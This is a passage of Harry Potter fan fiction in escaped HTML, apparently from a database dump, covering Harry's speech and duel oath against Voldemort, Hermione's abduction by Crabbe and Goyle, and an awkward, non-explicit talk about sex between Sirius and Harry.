and misery you choose evil. Your own folly.&#8221; Harry stopped for a\nbreath. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&#8220;You ask me to\nserve for you?&#8221; Harry laughed a little. </i></p>\n\n<p class="MsoNormal"><i>&#8220;You think that if I defeat you I will govern my people?&#8221;\n</i></p>\n\n<p class="MsoNormal"><i>&#8220;Nay, Tom Riddle. You are wrong. You don&#8217;t know the\nmeaning of Love. You don&#8217;t know the meaning of trust. You don&#8217;t know the\nmeaning of friendship. And most importantly you refuse to understand the\nmeaning of freedom!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;They all are my friends. I am not their ruler. I am also\nlike them. If I have been provided with superficial powers it doesn&#8217;t mean that\nI should think myself above others. I am nothing without the help of others.\nBut &#8220;the believe I have on my friends&#8221; makes me something.&#8221; Harry motioned\ntowards the group of people who were listening to the whole confrontation. They\nwere divided into two groups. Each group guarded by hit wizards from M.L.E.S.\nOne was the clan of death-eaters, cheering for their lord, and their wands out\nready to attack the people as soon as their lord won the battle. </i></p>\n\n<p class="MsoNormal"><i>The masses were standing in one big group protected by\nAuror&#8217;s, M.L.E.S, and Phoenix force. Hopes were present on their faces. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;You meanwhile are nothing, Tom. Nothing. Your followers\ndon&#8217;t love you. They never did. They are with you just because they are afraid.\nYou have not tasted what friendship is like. You don&#8217;t know what is love!&#8221; He\npaused to take another breath. </i></p>\n\n<p class="MsoNormal"><i>&#8220;You offer me wealth! You offer me women! Nay! Lord\nVoldermort. I offer you something much better then wealth! I offer you\nfriendship for wealth! Nay! Lord Voldermort I offer you something much better\nthen women! I offer you love! Love that kindles one heart! Lo&#8217; repent from your\nsins and come join the light side!&#8221; Harry seemed like a kindling flame. A\nperson wrapped in powers of good, clocked in special clock wrought for such\noccasion by Hermione. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>They felt their hearts lighten after listening to Harry&#8217;s\nspeech. </i></p>\n\n<p class="MsoNormal"><i>And lo&#8217; and behold there was Harry, clad in white, the\nsymbol of love, the symbol of peace standing in front of the flame of hatred.\nLike a strong pillar made of stone that withstands the severe weather. </i></p>\n\n<p class="MsoNormal"><i>The voice of Harry started ringing in everyone&#8217;s mind. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Repent from your sins and come join the light side&#8221;\nsuddenly they felt their heart lighten. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Bloody hell! Hey! Harry sure can make one hell of a\nspeech.&#8221; Near the edge of the ground two people were standing. This was said by\none of them. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Yeah, Padfoot, but this reminds of someone else we met\nin our seventh year&#8230;&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;You are right Lupin&#8230;he is sure like him&#8230;wonder where the\nold fellow would be now&#8230;he was so nice&#8230;and to think we suspected that he was a\nspy of Lord Voldermort&#8230;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText2">Some meters back. </p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoBodyText">A beautiful woman was standing alone. She was shaking with\ntears. Her hands clutched her hips so tightly that the tight peace of robe she\nwas wearing scratched. </p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Keep him safe&#8230;encha faunia elusafa!&#8221; &#8220;Oh my god! Keep\nhim safe&#8230;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Oh Harry I love you! We know you will be fine&#8230;&#8221; amid her\nsobs she was saying this constantly. Suddenly she felt someone crawling on her\nfrom the back. She was standing at an isolated spot, just near huge tree. Which\nblocked her view from all other people. Before she could scream, she felt\nsomeone grab her from beside and throw some spell at her&#8230;</i></p>\n\n<p class="MsoNormal"><i>Unbearable pain hit her, she tried to scream but\ncouldn&#8217;t&#8230;she saw visions&#8230;she felt the execrating pain hit her again&#8230;she\ncouldn&#8217;t resist it&#8230;she tried to scream again, couldn&#8217;t, blanched&#8230;and could see\nand feel no more&#8230;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Job, well done! Master will be very happy from us\nGoyle!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Why Crabbe?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Well you see, she is Potter&#8217;s girlfriend and by all\naccounts a ripe fish&#8230;Master would enjoy her&#8230;and maybe in the end we might have\na go at her&#8230;&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Yeah. Lets take her and apparate away&#8230;we will go to our\nMaster when he is finished with the Potter lad&#8230;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Correct&#8230;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\nBack to the Battle scene&#8230;\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b><i>&#8220;</i></b><i>You are not immortal! No one can be\nimmortal! Speak and say do you repent from your doings, and come to the light\nside, begging pardon from all those you harmed or else you want to fight for a\nworthless cause&#8230;?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Harry stopped and looked at Lord Voldermort, who had gone\nas red as his eyes. His eyes were blazing fire and the wrath of Lord Voldermort\nwas about to be revealed. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Never Potter! I don&#8217;t need you! I merely wanted you\nbecause I don&#8217;t want your talent to be wasted, but it seems that you have been\npolluted by some worthless stormcrows.&#8221; Lord Voldermort Snarled.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;You are a liar and a tyrant Riddle. You deny your own\nwords&#8230;alas! There is no choice left between us to fight&#8230;&#8221; Harry&#8217;s face was\nemotionless&#8230;then suddenly he felt as if a heavy weight had been placed on his\nheart. He heard a faint cry of help. His heart fluttered. It seemed that\nsuddenly somebody had devoured all strength out of him&#8230;</i></p>\n\n<p class="MsoNormal"><i>It seemed that Hermione was in trouble&#8230;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Oh no! Curse Riddle to use fool tactics before the duel.\nBut didn&#8217;t I tell Sirius to keep everyone in sight&#8230;&#8221; suddenly Harry felt all\nthe self-confidence disappear&#8230;the power in him was weakening&#8230;and it would\nbarely be able to withstand&#8230;until or unless he shows extreme power of will. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>He turned towards Lord Voldermort. &#8216;It was his doing&#8230;he\ndeserved death&#8230;so be it&#8230;he would either die or save all the world&#8230;&#8217; </i></p>\n\n<p class="MsoNormal"><i>&#8220;But at which cost Potter?&#8221; a voice in his heart snarled&#8230;</i></p>\n\n<p class="MsoNormal"><i>&#8220;At the cost of your love, your girlfriend, at the cost\nof your parents?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;No, yes&#8230;No&#8230;in the long run it would all be good&#8230;&#8221; The\nvoice of reasoning in his mind was not very sure&#8230;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Look at what Voldermort is giving you&#8230;don&#8217;t you want a\ngood, normal life where you can look like a normal teenager&#8230;&#8221; a snarling voice\nsaid. Suddenly the chill in the air increased. The evil powers of lord\nVoldermort were full at work. Harry felt two red eyes looking at him amusedly\nas if knowingly fully of his inner struggle. </i></p>\n\n<p class="MsoNormal"><i>Suddenly, a vision came into Harry&#8217;s mind&#8230;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;The dead body of Hagrid&#8230;Harry, you &#8216;ave to save the\nworld, your mum&#8217;n&#8217;dad be so proud&#8230;I will be proud&#8230;&#8221; Harry felt as if his head\nwould suddenly explode. The struggle in him was overwhelming. </i></p>\n\n<p class="MsoNormal"><i>Suddenly he felt someone saying to him, </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;What potter? You are only good at words. Afraid, are\nyou?&#8221; Said a mocking voice.</i></p>\n\n<p class="MsoNormal"><i>&#8220;Where is the bravery of Famous Potter? Why is he\ncrouching in the corner? Perhaps, he doesn&#8217;t know what he is saying. Poor\nPotter.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>The people heard what Lord Voldermort was saying and\ntheir hearts were dull for they saw how wrecked suddenly Harry looked. A fear\noccupied them. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;You see Potter, you have no one left who loves you\nwithout a purpose. Your girlfriend is taken and she was only after your body\nand fame, you godfather pretends to love you for you saved him, the wreck of a\nwerewolf pretends to love you because you are famous. Your wretched Headmaster\npretends to love you for to him you can be the savior of the world. Just like a\nrook for a queen who can checkmate the king, yet be destroyed himself. Like a\nPawn, who holds the key to the masterstroke, yet is worthless once it has\nachieved its purpose.&#8221; Harry felt his heart sink even lower. He was nothing,\nthe kept on repeating. Outside, Voldermort was saying the same thing in much\nmore cunning words. It was not before Harry would lose his temperament and\nwould either face Nervous breakdown, for the magical power in himself due to\nsuch a high intensity, emotional wreck would reach its highest point. The veins\nwould no longer be enough to withstand the powerful tirade of magical energy\npumped by magic-producing genes. </i></p>\n\n<p class="MsoNormal"><i>But the next sentence of Lord Voldermort changed it all. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;The only people who loved you are dead, Potter. Your\nMother is dead!&#8221; </i></p>\n\n<p class="MsoNormal"><i>And lo&#8217; and behold, Harry rose again and it seemed that\nsomeone had sucked all the misery from his face. He took out his wand and\nraised it high in the air like a sword. The roaring of the clouds subdued. The\npelting of rain stopped. The breeze turned into a gentle lulling whisper. And\nthere was Harry, standing in his white raiment looking like an otherworldly\nking. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;No, Lord Voldermort, alas I am too good for you&#8230;&#8221; Harry\nsaid to Lord Voldermort. </i></p>\n\n<p class="MsoNormal"><i>&#8220;You pushed too far. I challenge you to a wizard duel in\nthe name of Merlin, Lord Voldermort! Do you accept it or not?&#8221; Harry turned\ntowards Lord Voldermort. He seemed to be taunting him. </i></p>\n\n<p class="MsoNormal"><i>Voldermort looked at him in amazement and then suddenly\nthe challenge of Harry dawned on him. He had been a man proud and stern. His\nown folly had destroyed himself. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I take down your challenge. Name your second. I name my\nsecond!&#8221; With that Lord Voldermort pointed his wand towards the ground and\nmuttered something. There was a blinding flash and there appeared a woman, clad\nin green and black. She seemed not too old neither too young. She had an evil\nsmile on her face, and Harry realized that the aura of Power around her was\nvery powerful. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;She was Amanita\nlestrange. Second in command to Lord Voldermort. She smiled at Harry, flashing\nher teeth at him. Suddenly there was another flash, and all were blinded for a\nmoment. When they opened their eyes, an old man was standing in between them.</i></p>\n\n<p class="MsoNormal"><i>He was very old. As old as the sea, and as worn out as\nthe mountain, yet there was something in his eyes, that made all the others\nrespect him. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Lo&#8217; Harry James Potter and Tom Mavollo Riddle, you have\ntaken the oath of Merlin for a Wizard Duel. Do you hereby agree to be bound to\nit?&#8221; There was something in his voice that made all the others look at him.\nHarry and Riddle muttered yes almost simultaneously. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Lo&#8217; and behold, you have agreed and from now on you are hereby\nunder the oath of Merlin for a wizard duel. The only way of getting free from\nthis oath is the death of one of the opponents.&#8221; The White person stopped for a\nmoment. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Here are the rules which you must abide by. Violation of\nthese rules will lead to an instant DEATH!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText2">&#8220;1: the opponents will use wands only or physical combat.\nNo other weapon is allowed. </p>\n\n<p class="MsoNormal"><b><i>2: the opponents will not be allowed to curse the\nother&#8217;s second more then twice. It also applies for the seconds. They would not\nbe allowed to attack the opponents more then twice until or unless their first\nis dead. </i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b><i>3: Summoning something will only be allowed twice. </i></b></p>\n\n<p class="MsoNormal"><b><i>4: same rules apply for the seconds as well.</i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoBodyText">&#8220;Now Harry Potter, announce you&#8217;re second and let the duel\nBegin! By the name of Merlin that which is just may win.&#8221; </p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>The old wizard looked at Harry gravely. </i></p>\n\n<p class="MsoNormal"><i>Harry nodded and then instead of summoning someone, he\nput a hand in his pocket and took out a small mouse. The mouse was white in\ncolor but on closer inspection it could be seen that the mouse had green eyes.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I choose &#8220;this&#8221; as my second.&#8221; Harry spoke loudly and\nthen Voldermort burst out laughing. </i></p>\n\n<p class="MsoNormal"><i>&#8220;This Bunny is your second? You think too highly of\nyourself. Very well we shall see&#8230;&#8221; Voldermort said as he tried to control his\nlaughter.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>The old wizard motioned the opponents and seconds to go\nto their respected position. The mouse abruptly jumped out of Harry&#8217;s hand, and\nnibbling his robe he stood beside him. </i></p>\n\n<p class="MsoNormal"><i>&#8220;On the count of three&#8230;&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;One, Wands Ready, two, get set, 3, GO!!!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Disclaimer:</i> This story is based on characters and situations created\nand owned by JK Rowling, various publishers including but not limited to\nBloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.\nNo money is being made and no copyright or trademark infringement is intended<i></i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText" style="line-height:200%">Thongrodium &#169; J.R.R. Tolkien.\n(Late)</p>\n\n<p class="MsoBodyText" style="line-height:200%">One,\nWands Ready, two, get set, 3, GO!!!&#8221; &#169; Ady. </p>\n\n<p class="MsoNormal"><i>Prima &#169; Writer of Prima Endoras.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>M.L.E.S&nbsp; &#169; Anne.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Serpensotia&#169; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry\nPotter, 2nd Movie.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Merlin&#169; Talia Carter.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n\n\n\n\n\n'),
	(69, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Disclaimer:</i> This story is based on characters and situations created\nand owned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i>chapter 1&#8221;&nbsp;&nbsp; <b>&#8220;Fa&#231;ade&#8221;</b></i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was a seventh year. He was a full-grown wizard. He even knew\nhow to apparate. He </p>\n\n<p class="MsoNormal">Had fought Voldermort and defeated him many times. In the\nnear future he would also get rid of Lord Voldermort. He had saved the\nWizarding World from dangerous perils. Then why did &#8220;people,&#8221; think that he\ncouldn&#8217;t do a good night&#8217;s work in Bed! </p>\n\n<p class="MsoNormal">Harry walked alone in the corridor colored with last rays of\ndepleted looking sun-light which came in through silts and window&#8217;s on the\neastern wall. </p>\n\n<p class="MsoNormal">&nbsp;He was generally\nangry at the entire world, but particularly angry with Sirius. </p>\n\n<p class="MsoNormal">&#8220;As if I don&#8217;t know how to &#8220;properly&#8221; treat a lady!&#8221; He\nthought angrily. </p>\n\n<p class="MsoNormal">&#8220;Just minutes ago he had gone through the torture of Sirius,\nthe Ladies Man, trying to lecture him about what he called, P-G-S-E, (proper\nGentlemanly sexual education), failing miserably and instead bringing on a\nmatter much more serious then that.</p>\n\n<p class="MsoNormal">&#8220;And to think about Hermione that way. If it wasn&#8217;t Sirius I\nwould have thought that he was trying to make a pass at her.&#8221;</p>\n\n<p class="MsoNormal">&#8220;As if any girl wants the man to look aside when she is\ndepriving herself of her clothing. He thought. </p>\n\n<p class="MsoNormal">&#8220;And the idea of waiting till you&#8217;re 18th\nbirthday is perfectly ridiculous.&#8221; He muttered loudly. </p>\n\n<p class="MsoNormal">Judging by the way Sirius had said this, he was sure that\nSirius had certainly not waited till his 18th birthday to shag\nsomeone. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He swore aloud with anger. He wished fervently that she\nwould be here. How he wanted her warm embrace, her cute little snuggles, her\ngentle touches and her rosy lips. An almost dreamy look came on his face as he\nthought about her. But the pleasure was spoiled whenever he thought about his\nearlier confrontation with Sirius. He could still remember the whole scene\nclearly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">He had just finished his breakfast when he saw Professor\nMcgonagal coming towards. When she saw that he was looking towards her, she\nbeaconed to him, asking him to come outside for a quick talk. Muttering a quick\napology to Draco and Ginny who were so lost in each other that they could\nbarely nod. When he had reached Professor Mcgonagal, she said tartly,</p>\n\n<p class="MsoNormal"><i>&#8220;Well Potter, someone is here to meet you.&#8221; She sniffed\ndisapprovingly as if meeting someone during school hours was a very illegal\nthing. </i></p>\n\n<p class="MsoNormal"><i>Harry was surprised also. He hadn&#8217;t expected anyone to\ncome meet him today. He turned towards Professor Mcgonagal with a puzzled\nexpression. </i></p>\n\n<p class="MsoNormal"><i>&#8220;May I know Professor, who is it?&#8221;&nbsp; She looked at him for a moment and then\nalmost candidly replied.</i></p>\n\n<p class="MsoNormal"><i>&#8220;Its you&#8217;re God-father, Potter. He wants to talk about\nsomething with you. I told him it was against school rules, but he wont he hear\nabout it. He is waiting for you on the grounds near Hagrid&#8217;s mound. And Potter\nmake it short.&#8221; Professor Mcgonagal waved a random hand towards the general\ndirection of Hagrid&#8217;s mound. She suddenly became teary eyes, remembering the\nlast few days they both had spent together and how they had planned to become\neach other&#8217;s forever. But that was before the final battle. Just before the\nfinal battle. It had brought joys unaccounted along with tears numerous.\nIll-omens of past and new, yet boring life of the future. When Harry heard that\nhe almost ran towards the Entrance Hall, overjoyed to learn about Sirius.\nSirius had been busy in the last few days. After the capture of Petgrew, he had\nfinally been given Pardon, and after a small fine (probably a vein attempt to\nnuzzle the bruised ego of the Slytherin&#8217;ish Ministry.) he had been set free.\nLately, he had been busy setting a place to live, presumable near Hogsmeade,\nalong with that he had to bear the endless tirade of reporters begging for his\ninterview and his opinion about Minister Fudge. (No comment, and Ruddy Bugger\nwere the most common answers) So naturally Harry was happy to meet him. He\nbadly wanted to talk with him. Now that only few months were left before the\nend of the school year, he was looking forwards towards spending his time with\nSirius. He cheerfully passed through the corridor&#8217;s humming Hermione&#8217;s favorite\nbathroom tune. </i></p>\n\n<p class="MsoNormal"><i>He met Sirius, standing outside the entrance Hall looking\nquiet fit and young in brown jacket and bluish jeans. He certainly had no\nregard for the latest elegant Men ware. </i></p>\n\n<p class="MsoNormal"><i>He smiled when he saw Harry and allowed himself to be\nhugged to death by Harry. Settling under a clump of trees just beyond Hagrid&#8217;s\nold standing hut, they talked of many things, known and un-known, new and old.\nHe almost laughed to death, after Hearing a story of his father having a crush\non His mother just before they got together. Sirius took great pleasure in\nexplaining James&#8217;s weird antics around Lily. How he would follow her everywhere\nshe went, wrapped in his invisibility clock. How he would just gaze at her,\nun-aware of anything else. How he had once bumped into professor Dumbledore,\nwhile trying to peep at Lily through the Perfect Bathroom keyhole. </i></p>\n\n<p class="MsoNormal"><i>&nbsp; However, it\nseemed that memories of the long forgotten pleasures stirred something inside\nSirius, for he suddenly became very quiet. Harry became uncomfortable with the\nsudden silence. He never liked it when someone became uncomfortable around him,\ntalking about his parents. Perhaps, they thought that hearing of them always\ngrieved him. Not did they found out that as much as he grieved at the loss of\nhis parents, he always wanted to listen others telling sweet tales about his\nparents. When Hagrid had once told him the tale, when James had finally gotten\nover his shyness and explained to Lily in numerous ways about his love for her,\nhe had found it very cute. He liked listening about his parents. He always\nregretted not knowing them. But at least he could get to know &#8220;some&#8221; things\nabout them with the help of the tales of the others. But the others didn&#8217;t\nthink likewise. They always seem to hush around whenever there was any mention\nof Lily or James and Harry was around. Except for some facts, he had never\nknown about the lives of his parents, and it grieved him whenever others stopped\ntalking about his parents. Although he knew they did it for his sake, yet\nsometimes he felt more then a little jealous with Ginny for having so many\nloving and one certain non-loving Sibling. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;He cleared his\nthroat, bringing Sirius into reality again. </i></p>\n\n<p class="MsoNormal"><i>Noon was now high, and the chirping of birds had now\nstopped. Snapdragons and Lilies showed their full bloom in the rows of Hogwarts\nlawns, sprouting sweet looking flowers. Not many students were there, almost\nall of them preparing for their exams. </i></p>\n\n<p class="MsoNormal"><i>Sirius cleared his throat. He seemed a bit puzzled. It\nseemed like he wanted to say something. He seemed to produce curious gorging\nnoises. Harry looked at him with some concern. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Err, Sirius are you all right?&#8221; he asked with some\nconcern. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Yeah&#8230;&#8221; his answer was vague and he averted his gaze. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Look Sirius you can say whatever is bugging you. I am\nnot a 10 year old. I can understand you&#8217;re tongue perfectly.&#8221; He didn&#8217;t seem to\nbut he sounded a little rash.</i></p>\n\n<p class="MsoNormal"><i>After a lot of thinking Sirius finally decided to get on\nwith the work, He cleared his throat again, (an action which had become very\nannoying)</i></p>\n\n<p class="MsoNormal"><i>&#8220;Harry, girls want to be treated nicely, but you have to\nchoose the right girl.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Harry, I have heard you are planning on a long term\nrelationship?&#8221; he asked nonchalantly. Harry almost jumped in the air. The\nquestion had taken him with total surprise. </i></p>\n\n<p class="MsoNormal"><i>&nbsp; &#8220;What do you\nmean by &#8220;Long term relationship?&#8221; Harry asked Sirius, being a bit puzzled.</i></p>\n\n<p class="MsoNormal"><i>&#8220;It seems that you have find yourself a girlfriend at\nlast and have vowed to be faithful to her all the time?&#8221; Sirius half asked half\nnarrated. </i></p>\n\n<p class="MsoNormal"><i>Harry suddenly felt angry with Sirius. His cheeks started\nto flush with anger. How dare Sirius abuse his love life like that! He thought\nHarry wanted Hermione for her looks only, (which was half truth). He thought\nthat Harry would just ditch her when he got bored of her. </i></p>\n\n<p class="MsoNormal"><i>He turned towards Sirius and said heatedly.</i></p>\n\n<p class="MsoNormal"><i>&#8220;Look Sirius, I don&#8217;t know how it bodes to you but I love\nHermione with all my soul and heart. I have been blind all these years, looking\nfor love and peace in long place. I was a fool not to see Hermione! But I have\ncome to my senses now. I know who I love and want to live with all my life&#8230;&#8221;\nHarry trailed off, suddenly realizing what he was saying he at once closed his\nmouth. </i></p>\n\n<p class="MsoNormal"><i>Sirius looked at Harry. He seemed so determined. &#8220;So much\nlike his father and yet so unlike him.&#8221; He could still remember the way James\nhad responded when his father asked this question to him. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Oh No Harry! Hermione is a good girl, and I am sure that\nthere is an important reason behind you&#8217;re liking towards Hermione.&#8221; Harry\nrelaxed a bit. He realized that Sirius meant well, although he didn&#8217;t knew just\nhow to express his love. </i></p>\n\n<p class="MsoNormal"><i>They both were quiet for a second as they both watched\nthe eccentric 2nd years play a game of sit-cum-run just alongside\nlong rows of flowers. Finally Sirius spoke. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Harry I wanted to talk to you about an important thing.&#8221;\nHarry perked his ears.</i></p>\n\n<p class="MsoNormal"><i>&#8220;go on.&#8221; He replied.</i></p>\n\n<p class="MsoNormal"><i>&#8220;I just don&#8217;t know whether anyone has told you before or\nnot.&#8221; Sirius&#8217;s eyes became wet for a moment when he realized that he wouldn&#8217;t\nhave on the first place told Harry about this.</i></p>\n\n<p class="MsoNormal"><i>&#8220;How would I know if you wont tell me what you want to\ntalk about?&#8221; </i></p>\n\n<p class="MsoNormal"><i>Sirius took a perceptible sigh. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Harry, err I assume you know how you were born? Right?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Off course I know how I was born.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;No I am asking do you know the err&#8230;process by which you\nwere born.&#8221; </i></p>\n\n<p class="MsoNormal"><i>Sirius&#8217;s face now became scarlet and he fervently wished\nhe wouldn&#8217;t be here to talk about &#8220;this&#8221; with Harry. He had a vague idea that\nHarry knew some part of what he was going to say. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Sirius, are you here to give me a talk about Genetics?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Err&#8230;no&#8230;&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;You don&#8217;t need to tell me that. I am quite aware how it\nhappens. See here, when one gets to the age of 16 his hormones&#8230;&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Harry! Stop! I know you know about this, but I wasn&#8217;t\ntalking about this with you!&#8221; Sirius seemed almost expurgated. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Then what do you want to talk about?&#8221; Harry eyed him\nquestioningly, his somewhat tamed hair, now untangling themselves because of\nhis constant prodding.</i></p>\n\n<p class="MsoNormal"><i>&#8220;I would gather you know what happens when a male and\nfemale meet?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Talk?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Oh No Harry! I don&#8217;t mean it that way. When they meet\nintimately! You ruddy fool!&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Some pain at the beginning and then pleasure incarnate.\nBut I would say that, all is well that ends well.&#8221; Harry apparently understood\nwhat Sirius was talking about. He almost laughed aloud. Didn&#8217;t Sirius know that\nthey had a lesson about these things back in their 5th year? </i></p>\n\n<p class="MsoNormal"><i>&#8220;Look Sirius I know what you are trying to say so let go\noff it and talk of something more cheerful!&#8221; Harry tried to explain to Sirius\nas calmly as could about his understanding. </i></p>\n\n<p class="MsoNormal"><i>But apparently Sirius was taking his God-father Duty too\nheavily. He still thought Harry was a 12year old lad who needed to tell everything\nby others.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Oh no! You don&#8217;t! Hey wait a minute? Have you and\nHermione&#8230;&#8221; He trailed off looking horrified. Although Harry had a sneaking\nsuspicion that he wasn&#8217;t as horrified as he showed. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Hey Sirius! That&#8217;s private!&#8221; Harry exclaimed gaining the\nattention of many kiddies who passed by. </i></p>\n\n<p class="MsoNormal"><i>&#8220;But if it would &#8220;satisfy&#8221; your ego, then listen we\nhaven&#8217;t done that yet, although we&#8230;&#8221; Harry stopped there, enjoying the\nsituation fully. </i></p>\n\n<p class="MsoNormal"><i>Sirius&#8217;s face changed all shades of red, purple and a\nvariety of colors&#8230;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Harry don&#8217;t you try to do that! You are not old enough!\nBesides I don&#8217;t feel Hermione is the right girl for you. She is too clever, she\nmight misuse you.&#8221; Harry felt another pang of anger building inside him.</i></p>\n\n<p class="MsoNormal"><i>&#8220;And how can you say that! Were you still a Virgin by\nyour 17th year. Besides who gave you the right to choose girls 